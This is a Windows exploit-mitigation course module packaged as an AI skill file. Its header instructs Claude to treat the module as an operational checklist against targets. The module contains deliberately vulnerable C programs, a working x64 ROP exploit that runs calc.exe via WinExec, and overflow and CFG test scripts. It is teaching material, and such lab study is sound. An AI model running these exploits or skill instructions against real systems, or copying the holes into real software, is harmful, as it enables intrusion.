Offensive Windows Mitigations

SKILL: Week 6: Understanding Windows Mitigations

Metadata

• Skill Name: windows-mitigations
• Folder: offensive-windows-mitigations
• Source: https://github.com/SnailSploit/offensive-checklist/blob/main/6-windows-mitigations.md

Description

Deep-dive on Windows exploit mitigations: ASLR, DEP/NX, CFG, CET/Shadow Stack, SEHOP, Heap Guard, ACG, Arbitrary Code Guard. Covers both the protection mechanism and known bypass techniques. Use when researching Windows exploit mitigations, planning bypass strategies, or understanding protection depth.

Trigger Phrases

Use this skill when the conversation involves any of: Windows mitigations, ASLR, DEP, NX, CFG, CET, shadow stack, SEHOP, heap guard, ACG, mitigation bypass, exploit mitigation, Windows hardening

Instructions for Claude

When this skill is active:

1. Load and apply the full methodology below as your operational checklist
2. Follow steps in order unless the user specifies otherwise
3. For each technique, consider applicability to the current target/context
4. Track which checklist items have been completed
5. Suggest next steps based on findings

Full Methodology

Week 6: Understanding Windows Mitigations

Overview

created by AnotherOne from @Pwn3rzs Telegram channel.

Last week you learned basic exploitation in an environment without protections. This week, you'll learn about the defensive mechanisms that modern Windows systems employ to prevent those attacks. Understanding these mitigations is essential before learning to bypass them (Week 8). Week 7 continues with enterprise security topics (offensive reconnaissance, Windows 11 24H2/25H2 mitigations, cross-platform defenses).

This Week's Focus:

• Understand how each mitigation works
• Learn to detect active mitigations
• Verify mitigation effectiveness
• Test exploits against protected binaries
• Prepare for Week 7's boundaries and Week 8's bypass techniques

Prerequisites

Before starting this week, ensure you have:

• Completed Week 5: Basic Exploitation (Linux) - you should be able to exploit stack overflows, build ROP chains, and use pwntools
• A Windows 11 VM (isolated, snapshot before each exercise)
• Visual Studio 2022 Build Tools installed
• WinDbg Preview installed
• Basic familiarity with x64 assembly and calling conventions

Week 6 Deliverables

By the end of this week, you should have completed the following:

• Lab Environment: Windows 11 VM with Visual Studio Build Tools, WinDbg Preview, and Sysinternals installed
• Test Binaries: Compiled vulnerable_suite_win_mitigated.c and vuln_server_win.c with various mitigation flags
• DEP Verified: Demonstrated DEP blocking shellcode execution with crash analysis (Exception Code 0xC0000005, Param 8)
• ASLR Measured: Recorded addresses of check_aslr.exe across 3 reboots and documented randomization behavior
• Stack Cookie Tested: Triggered /GS cookie check failure and analyzed in WinDbg
• CFG Validated: Demonstrated CFG blocking indirect call to invalid target
• Crash Dumps Analyzed: Created at least 3 crash dumps and identified which mitigation caused each termination using !analyze -v
• Week 5 Exploit Retesting: Re-ran Week 5 exploits against mitigated binaries and documented failures
• Mitigation Audit Report: Generated system-wide and per-binary mitigation audit using PowerShell scripts
• Hardening Capstone: Completed the SecureServer v1.0 hardening exercise (Day 7)

Context

Why Mitigations Matter: Modern exploits chain multiple vulnerabilities and bypass layers of protection. Understanding mitigations helps you:

• Recognize when an exploit is blocked vs. when it succeeds
• Analyze crash dumps to identify exploitation attempts
• Design defense-in-depth strategies
• Prepare for Weeks 7-8 (advanced mitigations and bypass techniques)

Recent CVEs Demonstrating Mitigation Importance:

Connection to Week 4 (Crash Analysis):

When you receive a crash dump, the exception codes reveal which mitigation stopped the exploit:

Week 4 Crash Analysis -> Week 6 Mitigation Identification
─────────────────────────────────────────────────────────
Process Exit Code         WinDbg Exception Code        Mitigation
──────────────────────    ─────────────────────        ──────────
0xC0000005 (Param[0]=8)   0xC0000005                   DEP violation (execute on NX page)
0xC0000409                0xC0000409 (subcode 2)        /GS stack cookie corruption
0x80000003                0xC0000409 (subcode 10)       CFG indirect call validation failed
0x80000003                0xC0000407                    CET shadow stack mismatch
0xC0000374                0xC0000374                    Heap integrity check failed

IMPORTANT: Python/cmd see the PROCESS EXIT CODE. WinDbg sees the EXCEPTION CODE.
CFG and CET both use __fastfail() which raises int 0x29 -> exit code 0x80000003,
but the EXCEPTION RECORD inside WinDbg shows the original status code.

Windows Mitigations Relevance

Understanding these bug classes prepares you for real-world vulnerability research:

Day 1: DEP and ASLR Fundamentals

• Goal: Understand the two foundational exploit mitigations: DEP and ASLR.
• Activities:
  • Reading:
    • Microsoft DEP Documentation
    • Bypassing ASLR/DEP
    • ASLR Implementation Details
  • Online Resources:
    • OffensiveCon23 - Changing and Unchanged Things in Vulnerability Research
    • Bypass Control Flow Guard Comprehensively
    • BlueHat 2018 - Windows: Hardening with Hardware
    • OffensiveCon18 - The Evolution of CFI Attacks and Defenses
    • Battle Of The SKM And IUM: How Windows 10 Rewrites OS Architecture
  • Tool Setup:
    • Windows 11 VM (24H2 recommended)
    • Process Explorer / Process Monitor
    • dumpbin (Visual Studio tool)
    • WinDbg Preview with Time Travel Debugging
  • Exercise:
    • Verify DEP blocks shellcode execution
    • Observe ASLR randomization across reboots
    • Compile programs with/without protections
    • Analyze a real CVE crash dump to identify mitigation involvement

Deliverables

• Lab Report: Documented observations of DEP crashes (Exception Code 0xC0000005, Param 8)
• ASLR Log: Recorded addresses of check_aslr.exe across 3 reboots
• Crash Analysis: Completed mitigation identification table for the 4 test dumps
• Analysis Report: Completed analysis table for all 4 crash dumps
• Screenshots: WinDbg output showing the "Smoking Gun" for each crash
• Write-up: 1-paragraph explanation of how you identified each mitigation

Lab Directory Structure

C:\Windows_Mitigations_Lab\
- src\                          # Source code for test binaries
- bin\                          # Compiled binaries
- dumps\                        # Crash dumps from WER/ProcDump
- exploits\                     # Week 5 exploits for testing
- reports\                      # Mitigation audit reports

Transitioning from Linux to Windows Debugging

If you are coming from Week 5 (Linux), use this table to map your pwndbg commands to WinDbg:

[!TIP] Week 4 Callback: For more advanced WinDbg usage, refer back to Week 4: Crash Analysis where we covered TTD (Time Travel Debugging) and symbol configuration in detail.

Standardized Vulnerable Targets

To maintain continuity with previous weeks, we will use a Windows port of the vulnerable suite and the capstone server. Save these into C:\Windows_Mitigations_Lab\src.

1. The Mitigation Test Suite (vulnerable_suite_win_mitigated.c)

This replaces generic tests (dep_test.c, etc.) with a unified suite mirroring Week 4's lab.

[!IMPORTANT] Modern MSVC removed gets() - it was removed in C11 as too dangerous. We use fgets() with a size mismatch instead, which MSVC recognizes as needing /GS protection.

/*
 * vulnerable_suite_win_mitigated.c
 * Windows Port of Week 4 Vulnerable Suite
 * Compile with varying flags to test mitigations.
 *
 * NOTE: gets() was removed in modern MSVC. We use fgets() with
 * intentional size mismatch to create the same vulnerability
 * while triggering MSVC's /GS heuristics.
 */
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#pragma comment(lib, "user32.lib")

void stack_overflow() {
    char buffer[64];

    printf("[*] Stack Overflow Target: Buffer at %p\n", buffer);
    printf("[*] Enter payload: ");
    fflush(stdout);

    // Vulnerable: fgets reads up to 256 bytes into 64-byte buffer!
    // This pattern triggers MSVC's /GS protection when compiled with /GS
    fgets(buffer, 256, stdin);
    buffer[strcspn(buffer, "\n")] = 0;  // Remove newline

    printf("[*] Received: %s\n", buffer);
}

void heap_overflow() {
    HANDLE hHeap = GetProcessHeap();
    char *chunk1 = (char*)HeapAlloc(hHeap, 0, 64);
    char *chunk2 = (char*)HeapAlloc(hHeap, 0, 64);

    printf("[*] Heap Chunks: %p, %p\n", chunk1, chunk2);
    printf("[*] Simulating linear overflow from Chunk1...\n");

    // Vulnerable: overflow into chunk2 metadata
    memset(chunk1, 'A', 128);

    printf("[*] Freeing corrupted Chunk2 (Should crash if Heap Integrity on)...\n");
    HeapFree(hHeap, 0, chunk2);
    HeapFree(hHeap, 0, chunk1);
}

void dep_trigger() {
    printf("[*] DEP Trigger: Executing data section...\n");
    // Int3 (0xCC) ; Ret (0xC3)
    unsigned char shellcode[] = { 0xCC, 0xC3 };
    void (*func)() = (void(*)())shellcode;
    func();
}

void funcptr_test() {
    void (*callback)() = dep_trigger;

    printf("[*] Function Pointer Test\n");
    printf("[*] Function pointer at: %p\n", &callback);
    printf("[*] Currently points to: %p\n", callback);
    printf("[*] Enter new function address (hex): ");
    fflush(stdout);

    unsigned long long addr;
    scanf("%llx", &addr);
    callback = (void(*)())addr;

    printf("[*] Calling function at %p...\n", callback);
    callback();  // CFG would block this if target is invalid
}

int main(int argc, char* argv[]) {
    if (argc < 2) {
        printf("Usage: %s <mode>\n", argv[0]);
        printf("Modes: stack, heap, dep, funcptr\n");
        return 1;
    }

    if (strcmp(argv[1], "stack") == 0) stack_overflow();
    else if (strcmp(argv[1], "heap") == 0) heap_overflow();
    else if (strcmp(argv[1], "dep") == 0) dep_trigger();
    else if (strcmp(argv[1], "funcptr") == 0) funcptr_test();

    return 0;
}

2. The Capstone Server (vuln_server_win.c)

A Winsock port of the Week 5 Capstone. Used to test network exploits against hardened Windows.

/*
 * vuln_server_win.c - Winsock Port
 * Compile: cl vuln_server_win.c /link ws2_32.lib
 */
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

void handle_client(SOCKET client_socket) {
    char buffer[512];
    char response[] = "Welcome to SecureServer v1.0 (Windows)\n";
    send(client_socket, response, strlen(response), 0);

    // VULNERABILITY: Stack Buffer Overflow
    // recv accepts up to 1024 bytes into a 512 byte buffer
    int bytes_received = recv(client_socket, buffer, 1024, 0);

    if (bytes_received > 0) {
        printf("[*] Received %d bytes\n", bytes_received);
        buffer[bytes_received] = '\0';
        // Echo back (Format String vuln potential if printf(buffer) used)
        send(client_socket, buffer, bytes_received, 0);
    }
    closesocket(client_socket);
}

int main() {
    WSADATA wsa;
    SOCKET server_fd, client_fd;
    struct sockaddr_in server, client;
    int c;

    WSAStartup(MAKEWORD(2,2), &wsa);
    server_fd = socket(AF_INET, SOCK_STREAM, 0);

    server.sin_family = AF_INET;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(8888);

    bind(server_fd, (struct sockaddr *)&server, sizeof(server));
    listen(server_fd, 3);

    printf("[*] Windows Vulnerable Server listening on port 8888...\n");

    c = sizeof(struct sockaddr_in);
    while((client_fd = accept(server_fd, (struct sockaddr *)&client, &c)) != INVALID_SOCKET) {
        printf("[*] Connection accepted\n");
        handle_client(client_fd);
    }

    closesocket(server_fd);
    WSACleanup();
    return 0;
}

Per-Binary Mitigation Control:

# RECOMMENDED: Control mitigations via compiler/linker flags per binary
# This is safer, doesn't require reboots, and mirrors enterprise practice

# Build WITHOUT mitigations (for Week 5-style testing):
cl /GS- /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\dep_test.exe /link /NXCOMPAT:NO /DYNAMICBASE:NO /FIXED

# Build WITH mitigations (for Week 6 testing):
cl /GS /guard:cf /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\mitigated_test.exe /link /NXCOMPAT /DYNAMICBASE /HIGHENTROPYVA /guard:cf

# Per-process mitigation control (Run in ADMIN POWERSHELL):
Set-ProcessMitigation -Name "bin\dep_test.exe" -Disable DEP,ForceRelocateImages,BottomUp
Set-ProcessMitigation -Name "bin\dep_test.exe" -Enable DEP,ForceRelocateImages,BottomUp

# NOTE: On x64 Windows, DEP is often MANDATORY for 64-bit processes
# regardless of linker flags. Use Set-ProcessMitigation to override.

Compiler/Linker Flag Reference (x64):

Graduated Mitigation Introduction

Step 1: DEP Only

Setup (Using Standardized Suite):

# PREFERRED: Use per-binary linker flags instead of system-wide changes

# Compile WITH DEP, WITHOUT ASLR (to isolate DEP testing)
cl /GS- /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\dep_test.exe /link /NXCOMPAT /DYNAMICBASE:NO /FIXED

# Verify the binary has DEP enabled:
dumpbin /headers bin\dep_test.exe | findstr "NX compatible"
# Should show: "NX compatible"

Step 2: DEP + ASLR

Setup:

# Compile with BOTH DEP and ASLR enabled via linker flags
cl /GS- /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\aslr_test.exe /link /NXCOMPAT /DYNAMICBASE /HIGHENTROPYVA

# Verify:
dumpbin /headers bin\aslr_test.exe | findstr "NX Dynamic High"
# Should show: NX compatible, Dynamic base, High Entropy Virtual Addresses

[!CAUTION] System DLL ASLR Even if you compile your binary with /DYNAMICBASE:NO /FIXED, Windows 10/11 will still randomize the location of system DLLs like kernel32.dll and kernelbase.dll on each boot.

To demonstrate the ASLR bypass working on dep_test.exe, you must:

1. Find the current addresses using WinDbg (see instructions below)
2. Update the address variables in your script
3. The exploit will work on dep_test.exe (binary has no ASLR)
4. The exploit will fail on aslr_test.exe (binary base is randomized)
5. After a reboot, even dep_test.exe addresses become invalid - demonstrating why ASLR matters

Finding Gadget Addresses with WinDbg:

# Launch WinDbg with the target
windbg C:\Windows_Mitigations_Lab\bin\dep_test.exe stack

# In WinDbg, run these commands:
0:000> g                                              # Run to the input prompt
0:000> lm                                             # List loaded modules
0:000> x KERNEL32!WinExec                             # Find WinExec address
0:000> s -b KERNELBASE <start> L<size> 59 c3          # Find 'pop rcx; ret' (59 c3)
0:000> u <address> L2                                 # Verify the gadget

# Example session:
# 0:000> x KERNEL32!WinExec
# 00007ffd`616907f0 KERNEL32!WinExec
# 0:000> s -b KERNELBASE 00007ffd`5f8d0000 L3ef000 59 c3
# 00007ffd`5f912303  59 c3 ...
# 0:000> u 00007ffd`5f912303 L2
# 00007ffd`5f912303 59       pop rcx
# 00007ffd`5f912304 c3       ret      <- Clean gadget!

Test Your Week 5 ROP Exploit (x64):

This script demonstrates a ROP chain that bypasses DEP using WinExec. Run it against both binaries to see ASLR's effect:

#!/usr/bin/env python3
# c:\Windows_Mitigations_Lab\exploits\week5_aslr_test.py
"""
Test: Week 5 ROP/ret2lib exploit - Demonstrating ASLR's Effect

Usage:
  1. First, get current addresses from WinDbg attached to dep_test.exe:
     - x KERNEL32!WinExec
     - s -b KERNELBASE <start> L<size> 59 c3  (find 'pop rcx; ret')
  2. Update the addresses below
  3. Run against dep_test.exe  -> Should SUCCEED (calc pops)
  4. Run against aslr_test.exe -> Should FAIL (addresses randomized)
  5. Reboot and try dep_test.exe again -> Should FAIL (DLL addresses changed)
"""
from pwn import *
import sys

context.arch = 'amd64'
context.log_level = 'info'

# Choose target binary (default: dep_test.exe for success demo)
target = sys.argv[1] if len(sys.argv) > 1 else 'dep_test.exe'
target_path = rf'C:\Windows_Mitigations_Lab\bin\{target}'

log.info(f"Target: {target}")
io = process([target_path, 'stack'])

# --- VERIFIED ADDRESSES FROM WINDBG SESSION ---
# UPDATE THESE for your system! Find them with:
#   WinDbg> x KERNEL32!WinExec
#   WinDbg> s -b KERNELBASE <start> L<size> 59 c3
#   ropper --file bin\dep_test.exe --search "ret"
winexec_addr   = 0x00007ffd616907f0  # KERNEL32!WinExec
pop_rcx_ret    = 0x00007ffd5f912303  # KERNELBASE: pop rcx; ret
ret_gadget     = 0x0000000140001078  # dep_test.exe: clean 'ret' gadget

# NOTE: ret_gadget is from the BINARY, not system DLLs!
# For dep_test.exe (no ASLR): binary always loads at 0x140000000
# For aslr_test.exe (ASLR): binary base is randomized - this gadget WON'T WORK

log.info(f"WinExec:     {hex(winexec_addr)}")
log.info(f"pop rcx;ret: {hex(pop_rcx_ret)}")

# --- LEAK STACK ADDRESS ---
io.recvuntil(b"Buffer at ")
stack_leak = int(io.recvline().strip(), 16)
log.info(f"Stack leak:  {hex(stack_leak)}")

io.recvuntil(b"Enter payload: ")

# --- BUILD PAYLOAD ---
offset_to_ret = 72
cmd_string_offset = 200  # Place "calc.exe" at a safe offset
cmd_string_addr = stack_leak + cmd_string_offset

payload = b"A" * offset_to_ret

# ROP Chain:
# 1. Align stack (needed for some functions)
payload += p64(ret_gadget)
# 2. pop rcx; ret -> RCX = &"calc.exe"
payload += p64(pop_rcx_ret)
payload += p64(cmd_string_addr)
# 3. Call WinExec("calc.exe", <whatever is in RDX>)
payload += p64(winexec_addr)

# Pad to cmd_string_offset and add the command
payload = payload.ljust(cmd_string_offset, b"X")
payload += b"calc.exe\x00"

log.info(f"Payload size: {len(payload)}")
log.info(f"cmd @ stack+{cmd_string_offset} = {hex(cmd_string_addr)}")

io.sendline(payload)

# --- CHECK RESULT ---
import time
time.sleep(2)

# Wait for process and check result
try:
    io.wait(timeout=3)
except:
    pass

if io.returncode is None:
    # Process still running - ROP chain might have worked!
    log.success("Process still alive after ROP chain")
    log.info("CHECK MANUALLY: Did calc.exe pop up?")
    log.info(f"  - If YES: Exploit succeeded against {target}")
    log.info(f"  - If NO:  ROP chain failed silently (bad addresses?)")
    io.close()
else:
    exit_code = io.returncode & 0xFFFFFFFF
    if exit_code == 0xc0000005:  # ACCESS_VIOLATION
        log.failure(f"Access Violation - exploit FAILED against {target}")
        if 'aslr' in target.lower():
            log.info("EXPECTED: ASLR randomized the binary base, ret_gadget is invalid!")
            log.info("The ROP chain used a gadget from the binary at a fixed address.")
        else:
            log.warning("Addresses may be stale. Re-run WinDbg and update them.")
    elif exit_code == 0xc0000409:  # STACK_BUFFER_OVERRUN
        log.failure(f"/GS cookie triggered - exploit FAILED against {target}")
    elif exit_code == 0:
        log.info("Process exited normally (code 0)")
        log.info("CHECK MANUALLY: Did calc.exe pop up?")
    else:
        log.info(f"Exit code: {hex(exit_code)}")

Expected Results:

# Against dep_test.exe (no ASLR) - calc.exe pops!
python exploits\week5_aslr_test.py dep_test.exe
#[*] Target: dep_test.exe
#[*] WinExec:     0x7ffd616907f0
#[*] pop rcx;ret: 0x7ffd5f912303
#[*] Stack leak:  0x14fea0          <- Low, predictable address (no ASLR)
#[+] Process still alive after ROP chain
#[*] CHECK MANUALLY: Did calc.exe pop up?
#    -> YES! calc.exe appeared - exploit succeeded!

# Against aslr_test.exe (ASLR enabled) - exploit fails!
python exploits\week5_aslr_test.py aslr_test.exe
#[*] Target: aslr_test.exe
#[*] Stack leak:  0xaf185efab0      <- High entropy, randomized!
#[*] Process exited with code: 0xc0000005
#[-] Access Violation - exploit FAILED against aslr_test.exe
#[*] EXPECTED: ASLR randomized the binary base, ret_gadget is invalid!

[!IMPORTANT] Why ASLR Breaks the Exploit The ROP chain uses ret_gadget = 0x140001078 which is an address inside the binary.

• dep_test.exe: Always loads at 0x140000000 (ASLR disabled), gadget is valid
• aslr_test.exe: Loads at random base each run, 0x140001078 points to garbage -> crash

Step 3: DEP + ASLR + Stack Cookies

Setup:

# Compile WITH /GS (stack cookies) - this is the VS default
# The /D_CRT_SECURE_NO_WARNINGS suppresses scanf deprecation warnings
cl /GS /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\gs_test.exe /link /NXCOMPAT /DYNAMICBASE /HIGHENTROPYVA

# Check protections - /GS doesn't show in headers, but DEP+ASLR will:
dumpbin /headers bin\gs_test.exe | findstr "NX Dynamic High"
# Expected: NX compatible, Dynamic base, High Entropy Virtual Addresses

# Also compile WITHOUT /GS for comparison:
cl /GS- /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\no_gs_test.exe /link /NXCOMPAT /DYNAMICBASE /HIGHENTROPYVA

[!NOTE] Stack Cookies (/GS) Don't Appear in PE Headers Unlike DEP and ASLR, stack cookie protection is purely a compiler feature. The cookie check code is embedded directly in function prologues/epilogues. You can verify /GS is active by disassembling a function with a local buffer:

dumpbin /disasm bin\gs_test.exe | findstr "__security_cookie"

Forcing /GS Protection:

MSVC uses heuristics to decide which functions need stack cookies. Functions with strcpy, fgets with size mismatch, or similar patterns are protected. Simple getchar() loops may be skipped!

# The vulnerable function MUST use patterns MSVC recognizes as dangerous:
# - strcpy() to a local buffer
# - fgets() with size > buffer size
# - sprintf() without bounds

# Our vulnerable_suite uses: fgets(buffer, 256, stdin) into char buffer[64]
# This triggers /GS because 256 > 64

# Verify cookie is present by checking for the cookie load pattern:
dumpbin /disasm bin\gs_test.exe > disasm.txt
powershell -Command "Get-Content disasm.txt | Select-Object -First 50"
# Look for: mov rax,qword ptr [ADDR] ; xor rax,rsp ; mov [rsp+XX],rax

Test Your Week 5 Stack Overflow:

#!/usr/bin/env python3
# c:\Windows_Mitigations_Lab\exploits\week5_gs_test.py
"""
Test: Week 5 stack overflow against DEP+ASLR+GS system
Expected: FAIL - stack cookie corrupted, process terminates before return

Usage:
  python exploits\week5_gs_test.py gs_test.exe     # With /GS - should fail with cookie check
  python exploits\week5_gs_test.py no_gs_test.exe  # Without /GS - crashes at return
"""
from pwn import *
import sys

context.arch = 'amd64'
context.log_level = 'info'

# Choose target binary
target = sys.argv[1] if len(sys.argv) > 1 else 'gs_test.exe'
target_path = rf'C:\Windows_Mitigations_Lab\bin\{target}'

log.info(f"Target: {target}")
io = process([target_path, 'stack'])

# Wait for the prompt
io.recvuntil(b"Buffer at ")
stack_leak = int(io.recvline().strip(), 16)
log.info(f"Stack leak: {hex(stack_leak)}")

io.recvuntil(b"Enter payload: ")

# Stack layout (from disassembly of gs_test.exe):
#   sub rsp, 88h         ; 136 byte frame
#   buffer at [rsp+30h]  ; offset 48
#   cookie at [rsp+70h]  ; offset 112 (64 bytes after buffer start)
#   return at [rsp+88h]  ; offset 136 (after frame restoration)
#
# To trigger /GS: overflow past 64 bytes to corrupt the cookie at offset 64
# To trigger crash without /GS: overflow ~88 bytes to corrupt return address
#
# We send 150 bytes to ensure we corrupt both cookie AND return address

overflow_size = 150  # Enough to corrupt cookie (64+) and return address (88+)
payload = b"A" * overflow_size

log.info(f"Sending {len(payload)} bytes to overflow 64-byte buffer")
io.sendline(payload)

# Wait for process to terminate (use wait() not poll() for Windows compatibility)
try:
    io.wait(timeout=5)
except:
    pass

# Check the return code
if io.returncode is not None:
    exit_code = io.returncode & 0xFFFFFFFF
    log.info(f"Process exited with code: {hex(exit_code)}")

    if exit_code == 0xc0000409:  # STATUS_STACK_BUFFER_OVERRUN
        log.success("Stack buffer overrun detected! (/GS protection triggered)")
        log.info("Cookie was corrupted -> __security_check_cookie() called __fastfail()")
    elif exit_code == 0xc0000005:  # STATUS_ACCESS_VIOLATION
        log.warning("Access Violation - jumped to corrupted return address")
        log.info("No /GS cookie check occurred - function returned to garbage")
    elif exit_code == 0 or exit_code == 1:
        log.warning(f"Process exited normally (code {exit_code}) - no crash!")
    else:
        log.info(f"Check Windows NTSTATUS codes for {hex(exit_code)}")
else:
    log.warning("Process did not terminate within timeout")
    io.close()

Expected Results:

# Against gs_test.exe (with /GS) - cookie corruption detected!
python exploits\week5_gs_test.py gs_test.exe
#[*] Target: gs_test.exe
#[*] Stack leak: 0x30242ff940
#[*] Sending 150 bytes to overflow 64-byte buffer
#[*] Process exited with code: 0xc0000409
#[+] Stack buffer overrun detected! (/GS protection triggered)
#[*] Cookie was corrupted -> __security_check_cookie() called __fastfail()

# Against no_gs_test.exe (without /GS) - crashes at return
python exploits\week5_gs_test.py no_gs_test.exe
#[*] Target: no_gs_test.exe
#[*] Stack leak: 0x673ccffc80
#[*] Sending 150 bytes to overflow 64-byte buffer
#[*] Process exited with code: 0xc0000005
#[!] Access Violation - jumped to corrupted return address
#[*] No /GS cookie check occurred - function returned to garbage

Document: "Stack cookies detect overflow before return. Even if I bypass DEP+ASLR, the cookie check terminates the process before the corrupted return address is used."

Step 4: Add CFG (Day 3 Preparation)

CFG (Control Flow Guard) validates indirect call targets at runtime. We'll use the standardized suite which includes a function pointer test case.

Setup:

# Compile WITH CFG - all mitigations enabled
cl /GS /guard:cf /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\cfg_test.exe /link /NXCOMPAT /DYNAMICBASE /HIGHENTROPYVA /guard:cf

# Compile WITHOUT CFG for comparison (but keep /GS to isolate CFG testing)
cl /GS /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\no_cfg_test.exe /link /NXCOMPAT /DYNAMICBASE /HIGHENTROPYVA

# Verify CFG is enabled in the binary:
dumpbin /headers /loadconfig bin\cfg_test.exe | findstr "Guard"
# Expected: "Guard CF instrumented" and "Guard" flags in load config

[!NOTE] CFG Compilation Requirement: CFG protection only applies to binaries compiled with /guard:cf. Enabling system-wide CFG (Set-ProcessMitigation -System -Enable CFG) does NOT protect non-CFG-compiled binaries. The call sites must be instrumented by the compiler to perform bitmap validation checks.

Test Function Pointer Overwrite:

#!/usr/bin/env python3
# c:\Windows_Mitigations_Lab\exploits\week5_cfg_test.py
"""
Test: Week 5 function pointer overwrite against CFG
Expected: FAIL - CFG validates indirect call target and rejects bad address

Usage:
  python exploits\week5_cfg_test.py cfg_test.exe     # With CFG - should fail CFG check
  python exploits\week5_cfg_test.py no_cfg_test.exe  # Without CFG - crashes at call
"""
from pwn import *
import sys

context.arch = 'amd64'
context.log_level = 'info'

# Choose target binary
target = sys.argv[1] if len(sys.argv) > 1 else 'cfg_test.exe'
target_path = rf'C:\Windows_Mitigations_Lab\bin\{target}'

log.info(f"Target: {target}")

# The vulnerable suite's 'funcptr' mode tests function pointer corruption
io = process([target_path, 'funcptr'])

# Read initial output with timeout
try:
    # Read until we see the prompt for address input
    output = io.recvuntil(b"Enter new function address", timeout=5)
    log.info("Got function pointer test output")
except:
    log.error("Timeout waiting for funcptr prompt")
    io.close()
    sys.exit(1)

# Try to redirect to an invalid address (simulating heap corruption)
# In a real exploit, this might point to shellcode or a ROP gadget
bad_target = 0xdeadbeefcafe

log.info(f"Attempting to redirect function pointer to: {hex(bad_target)}")
io.sendline(hex(bad_target).encode())

# Wait for process to handle the call and crash/exit
try:
    io.wait(timeout=5)
except:
    pass

if io.returncode is None:
    log.warning("Process still running - unexpected")
    io.close()
else:
    exit_code = io.returncode & 0xFFFFFFFF
    log.info(f"Process exited with code: {hex(exit_code)}")

    if exit_code == 0x80000003:  # STATUS_BREAKPOINT (__fastfail via int 0x29)
        log.success(f"CFG validation failed! Call to {hex(bad_target)} blocked")
        log.info("CFG checked the bitmap, rejected invalid target, called __fastfail()")
        log.info("NOTE: __fastfail raises int 0x29 -> process exit = 0x80000003")
        log.info("      WinDbg exception record still shows 0xC0000409 subcode 10")
    elif exit_code == 0xc0000409:  # STATUS_STACK_BUFFER_OVERRUN
        log.success(f"/GS cookie caught the overflow BEFORE CFG checked the call")
        log.info("/GS uses __fastfail(2) but exit code differs from CFG's __fastfail(10)")
    elif exit_code == 0xc0000005:  # STATUS_ACCESS_VIOLATION
        log.warning(f"Access Violation - call to {hex(bad_target)} attempted")
        log.info("CFG was NOT active - call went through but crashed at bad address")
    else:
        log.info(f"Check Windows NTSTATUS codes for {hex(exit_code)}")

Expected Results:

# Against cfg_test.exe (with CFG) - call blocked!
python exploits\week5_cfg_test.py cfg_test.exe
#[*] Target: cfg_test.exe
#[*] Got function pointer test output
#[*] Attempting to redirect function pointer to: 0xdeadbeefcafe
#[*] Process exited with code: 0x80000003
#[+] CFG validation failed! Call to 0xdeadbeefcafe blocked
#[*] CFG checked the bitmap, rejected invalid target, called __fastfail()
#[*] NOTE: __fastfail raises int 0x29 -> process exit = 0x80000003
#[*]       WinDbg exception record still shows 0xC0000409 subcode 10

# Against no_cfg_test.exe (without CFG) - crashes at call
python exploits\week5_cfg_test.py no_cfg_test.exe
#[*] Target: no_cfg_test.exe
#[*] Got function pointer test output
#[*] Attempting to redirect function pointer to: 0xdeadbeefcafe
#[*] Process exited with code: 0xc0000005
#[!] Access Violation - call to 0xdeadbeefcafe attempted
#[*] CFG was NOT active - call went through but crashed at bad address

Document: "CFG validates indirect calls against a bitmap of valid targets. Even with a write primitive to corrupt function pointers, calls to arbitrary addresses are blocked."

Step 5: Full Mitigation Stack

Track A Setup (works everywhere):

# Compile a fully-protected binary (Track A mitigations) using the standardized suite
cl /GS /guard:cf /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\full_protect_test.exe /link /NXCOMPAT /DYNAMICBASE /HIGHENTROPYVA /guard:cf

# Verify all protections:
dumpbin /headers /loadconfig bin\full_protect_test.exe | findstr "NX Dynamic High Guard"
# Expected: NX compatible, Dynamic base, High Entropy, Guard CF instrumented

# Test: all Week 5 exploits should fail against this binary
python exploits\week5_aslr_test.py full_protect_test.exe   # Fails: /GS catches overflow first!
python exploits\week5_gs_test.py full_protect_test.exe     # Fails: /GS detects cookie corruption
python exploits\week5_cfg_test.py full_protect_test.exe    # Fails: CFG blocks bad call targets

Test Results:

c:\Windows_Mitigations_Lab>python exploits\week5_aslr_test.py full_protect_test.exe
#[*] Target: full_protect_test.exe
#[*] Stack leak:  0xf2801efca0           <- ASLR randomized
#[*] Process exited with code: 0xc0000409
#[-] /GS cookie triggered - exploit FAILED

c:\Windows_Mitigations_Lab>python exploits\week5_gs_test.py full_protect_test.exe
#[*] Sending 150 bytes to overflow 64-byte buffer
#[*] Process exited with code: 0xc0000409
#[+] Stack buffer overrun detected! (/GS protection triggered)

c:\Windows_Mitigations_Lab>python exploits\week5_cfg_test.py full_protect_test.exe
#[*] Attempting to redirect function pointer to: 0xdeadbeefcafe
#[*] Process exited with code: 0x80000003
#[+] CFG validation failed! Call to 0xdeadbeefcafe blocked

[!NOTE] Defense in Depth: The ROP exploit was stopped by /GS, not ASLR! The stack overflow corrupted the cookie before the corrupted return address was ever used. Multiple mitigations provide overlapping protection.

Graduated Exercise Checklist

Before proceeding to Day 1's detailed content, complete these exercises:

• Exercise G1: DEP blocks shellcode execution
  • Run: bin\dep_test.exe dep -> Should crash with 0xc0000005 (execute violation)
• Exercise G2: ASLR breaks hardcoded ROP gadget addresses
  • Run: `python exploits\week

…(truncated)